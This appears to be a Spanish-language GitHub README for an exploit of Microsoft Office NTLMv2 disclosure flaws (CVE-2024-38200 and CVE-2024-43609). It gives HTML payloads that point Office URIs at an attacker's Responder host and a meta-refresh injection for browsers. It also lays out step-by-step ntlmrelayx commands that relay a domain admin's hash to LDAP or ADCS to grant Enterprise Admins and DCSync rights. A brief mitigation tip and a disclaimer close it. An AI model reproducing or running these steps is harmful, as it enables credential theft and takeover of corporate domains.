passtheticket/cve-2024-38200CVE-2024-38200 & CVE-2024-43609 - Vulnerabilidad de divulgación NTLMv2 de Microsoft Office
El método de captura del hash NTLMv2 a través de HTTP no fue corregido. El valor del hash NTLMv2 todavía se puede obtener a través de HTTP y retransmitirse a LDAP o ADCS. MSRC declaró que esta situación "tal como se presenta, parece ser parte del diseño actual".
Incluso si esta vulnerabilidad se corrige, como se indica en la sección Autenticación integrada de Windows, el valor del hash aún se puede obtener y retransmitir con la configuración predeterminada.
Anteriormente, se compartió un método para capturar hashes NTLMv2 a través de SMB utilizando los esquemas de URI de Office. La idea principal era simple. Envía la URL del siguiente archivo HTML a la víctima y captura el hash NTLMv2 a través de SMB. ENLACE
<!DOCTYPE html>
<html>
<script>
location.href = 'ms-word:ofe|u|\\<responder ip>\leak\leak.docx';
</script>
</html>
Este es el punto que me inspiró. Si observamos la página Esquemas de URI de Office, podemos ver el uso del protocolo https:// dentro del esquema de URI. Esta situación indica que http:// también podría utilizarse potencialmente. Capturar el hash NTLMv2 a través de HTTP es más ventajoso que capturarlo a través de SMB para realizar un ataque de retransmisión NTLM contra un servidor controlador de dominio Gráfico de retransmisión.
Cuando usé la URI ms-word:ofe|u|http://test.local:8080/leak/leak.docx contra Office 2016 MSO (16.0.4266.1001) 32-bit, apareció un cuadro de advertencia para proteger al usuario de actividades maliciosas, pero no puedo decir lo mismo para Microsoft 365 Office y Office 2019. Estas versiones acceden a un archivo de Office remoto sin advertencia y pueden ser explotadas para capturar el hash NTLMv2 a través de los protocolos SMB y HTTP.
Descubrí que el parche para CVE-2024-38200 no se aplicó correctamente. Después de que se publicó el parche, probé la vulnerabilidad contra Office 2019 Volume Licensed: Version 1808 (Build 10413.20020) y Microsoft 365 MSO 2408 Build 16.0.17928.20114 y determiné que la vulnerabilidad aún puede explotarse como se muestra a continuación CVE-2024-43609.
Podemos redirigir una solicitud HTTP a una ruta UNC con redirección 302 cuando una aplicación de Office realiza una solicitud a través de esquemas de URI de Office (p. ej., ms-word:ofe|u|http://172.20.10.8:8080/leak.docx). El script uncredirect.py maneja la solicitud HTTP que se envía con un esquema de URI de MS Office y la redirige a una ruta UNC que incluye la dirección IP de Responder. Esta situación haría posible capturar el hash NTLMv2 a través de SMB y omitir la restricción de seguridad para la URI ms-word:ofe|u|\\<responder ip>\leak\leak.docx.
uncredirect.py y responder.office.html al usuario víctima.https://github.com/user-attachments/assets/2d2d19ad-6142-4b57-8958-16ba2cd62f04
Capturar el hash NTLMv2 a través de HTTP es más ventajoso que a través de SMB para retransmitir a LDAP. Cuando se solicita un archivo mediante una URI de Office, el hash NTLMv2 se puede obtener a través de HTTP sin redirigir a una ruta UNC mediante una redirección 302. Este método de explotación no se puede realizar a través de Internet porque, a menos que haya una configuración incorrecta en Opciones de Internet, la autenticación NTLM no se producirá a través de HTTP para un host fuera de la red corporativa.
Sin embargo, creo que este es un método eficaz para ataques de retransmisión y escalada de privilegios.
La configuración de "Opciones de Internet" afecta el comportamiento de autenticación NTLM de las aplicaciones de Office. Podemos verlo con algunos ejemplos. Supongamos que estamos usando el formato de URI ms-excel:ofe|u|http://192.168.1.7/leak.xlsx para capturar el hash NTLMv2.
Cuando una de las GPO enumeradas a continuación se aplica a una máquina víctima que está unida al dominio, la aplicación de Office realiza la autenticación automáticamente.
Inicio de sesión automático con nombre de usuario y contraseña actuales está configurado para Autenticación de usuario en Zona de InternetIntranet local (p. ej., 192.168.*.* , 192.168.0-255.* , 192.168.1.7)Sitios de confianza (p. ej., 192.168.*.* , 192.168.0-255.* , 192.168.1.7) y Inicio de sesión automático con nombre de usuario y contraseña actuales está configurado para Autenticación de usuario en la zona de Sitios de confianza
En el caso de que se aplique una de las GPO mencionadas anteriormente, después de que el usuario víctima haga clic en la URI, la aplicación de Office obtendrá el archivo leak.docx del servidor del atacante y se obtendrá el hash NTLMv2 porque la GPO aplicada hace que la autenticación NTLM se produzca automáticamente.
Escenario de ejemplo para abusar de la GPO:
Después de configurar la URI de Office con la dirección IP (p. ej., ms-excel:ofe|u|http://192.168.1.7/leak.xlsx), podemos enviar la URL del archivo office.html a un usuario con privilegios de administrador de dominio y retransmitir el hash capturado al servidor LDAP(S) usando ntlmrelayx. ntlmrelayx creará un nuevo usuario y lo agregará al grupo Enterprise Admins con solo hacer clic en el botón "Abrir".
Nota:
Los sitios agregados mediante GPO se pueden listar usando las siguientes claves de registro.
Get-ItemProperty "hkcu:\Software\policies\microsoft\windows\currentversion\internet settings\ZoneMapKey"
Get-ItemProperty "hklm:\Software\policies\microsoft\windows\currentversion\internet settings\ZoneMapKey"
0: Internet | 1: Local Intranet | 2: Trusted Sites | 3: Restricted Sites
Si no se aplica una de las GPO mencionadas anteriormente, la autenticación NTLM no se producirá automáticamente. Sin embargo, si agregamos un registro DNS A y usamos este registro dentro de la URI de Office, Windows considerará el nombre de host como parte de la Zona de Intranet. De esta manera, la autenticación NTLMv2 se produce automáticamente y un usuario estándar puede escalar privilegios sin necesidad de una GPO mal configurada. Cualquier usuario de dominio con privilegios estándar puede agregar un registro DNS inexistente por lo que este ataque funciona con la configuración predeterminada para un usuario de dominio.
office.html puede servirse desde cualquier servidor accesible para el usuario víctima (p. ej., https://office.com/office.html). Configuré el puerto 8081 para Apache porque ntlmrelayx usará el puerto 80 por defecto. Podemos usar --http-port con ntlmrelayx como otra opción. Ingresa el registro agregado en la URI de Office dentro del archivo office.html.
Pon en marcha ntlmrelayx: python3 ntlmrelayx.py -t ldap://DC-IP-ADDRESS --escalate-user username
Envía la URL del archivo office.html a un usuario con privilegios de administrador de dominio. Debes verificar si el registro DNS se resuelve con el comando ping antes de enviar la URL.
Cuando el usuario víctima navega a la URL, hacer clic en el botón 'Abrir' es suficiente para capturar el hash NTLMv2. (¡sin advertencia!)
El hash NTLMv2 capturado a través de HTTP se retransmite al controlador de dominio con ntlmrelayx. Como resultado, un usuario estándar puede obtener permisos DCSync y Enterprise Admins bajo las configuraciones predeterminadas con solo dos clics.
https://github.com/user-attachments/assets/6fdbcd57-16aa-4497-810e-18e0a251e890
https://github.com/user-attachments/assets/22b759f5-1ac2-45bd-8916-714c8a84b40f
Nota-1: Si un servidor unido al dominio está comprometido y es posible ejecutar inveigh o ntlmrelayx, no es necesario agregar un registro DNS.
Ntlmrelayx: python3 ntlmrelayx.py -t ldaps://DC-IP-ADDRESS --http-port 8080
Office Uri: ms-excel:ofe|u|http://compromisedservername:8080/leak.xlsx
Nota-2: Como otra opción, el hash del usuario víctima se puede retransmitir a ADCS en lugar de a LDAP:
python3 ntlmrelayx.py -t http://adcs.unsafe.local/certsrv/certfnsh.asp -smb2support --template User --adcs --http-port 80
Esta prueba de concepto se llevó a cabo en Microsoft Office 2019 MSO Build 1808 (16.0.10411.20011) y Microsoft 365 MSO (Version 2403 Build 16.0.17425.20176).
Cualquiera que haya usado Windows en un entorno corporativo de intranet puede haber notado que acceder a recursos corporativos en una red es fluido y, en muchos casos, no requiere una solicitud explícita de credenciales más allá del inicio de sesión inicial de dominio de Windows. Esto es cierto para varios servicios, como unidades de red asignadas, sitios web de intranet y más. Los navegadores basados en Microsoft, Internet Explorer y Edge, tienen un concepto de zonas de confianza: Internet, Intranet local, Sitios de confianza y Sitios restringidos. Cada zona tiene un nivel de seguridad diferente y restricciones asociadas. Por ejemplo, para los sitios de la zona de Intranet, Internet Explorer deshabilita el filtro XSS, ejecuta complementos ActiveX, realiza inicios de sesión automáticos y, en general, tiene menos controles de seguridad que para los sitios de Internet. De forma predeterminada, cuando un servidor web tiene un recurso protegido por autenticación NTLM, Internet Explorer y Edge realizarán la autenticación automáticamente si el sitio web se encuentra dentro de la intranet corporativa o está en la lista blanca de Sitios de confianza, respetando el concepto de zonas de confianza. Otros navegadores, como Mozilla Firefox y Google Chrome, también admiten el inicio de sesión automático NTLM. Chrome depende de la misma configuración que Internet Explorer; en el caso de Firefox, esta configuración no está habilitada por defecto y debe cambiarse manualmente a través de about:config.
https://www.blazeinfosec.com/post/web-app-vulnerabilities-ntlm-hashes/
Para que un host remoto se autentique contigo, por ejemplo como resultado de seguir una ruta UNC, deben cumplirse ciertas condiciones. Principalmente, para minimizar la probabilidad de filtrar hashes a redes externas como Internet, tu sistema debe encontrarse dentro de la zona de “intranet local”. La forma más fácil de cumplir este requisito cuando ya tienes acceso a la red interna del objetivo es usar el nombre NetBIOS de tu sistema. Es decir, si estás en workstation1.contoso.com, debes usar workstation1 en tu ruta UNC para forzarlo a la zona de intranet local.
https://www.mdsec.co.uk/2021/02/farming-for-red-teams-harvesting-netntlm/
Como se mencionó, los cambios en Opciones de Internet también afectan el comportamiento de autenticación NTLM de los navegadores Edge y Chrome. Estos navegadores admiten la autenticación NTLM automática y Windows asume que una conexión HTTP con nombre NetBIOS dentro de la zona de intranet realiza la autenticación NTLM. Más tarde me di cuenta de que, como se indica en la PoC, si se crea un registro DNS y se envía una URL con nombre NetBIOS (p. ej., http://kali14/notexist.html ) a un usuario, es posible capturar y retransmitir el hash NTLMv2 del usuario si la URL se abre en los navegadores Edge o Chrome. Si retransmitimos el hash NTLMv2 de un usuario privilegiado a LDAP(s) con ntlmrelayx, podemos escalar privilegios en el dominio con la configuración predeterminada.
Edge:
Chrome:
En lugar de enviar el enlace al usuario, se puede usar la inyección HTML para capturar el hash NTLMv2:
kali14<meta http-equiv="refresh" content="0; url=http://kali14/notexist.html">
Incluir todos los sitios locales (intranet) no enumerados en otras zonas en la configuración de los sitios de Intranet local para bloquear la autenticación NTLM automática a través de HTTP. La opción en cuestión está seleccionada por defecto. 
Nota: Este exploit se proporciona únicamente con fines educativos y de investigación. El autor no es responsable de ningún uso indebido o daño causado por la aplicación de este exploit. El uso no autorizado de este código en entornos donde no tienes permiso explícito es ilegal y poco ético.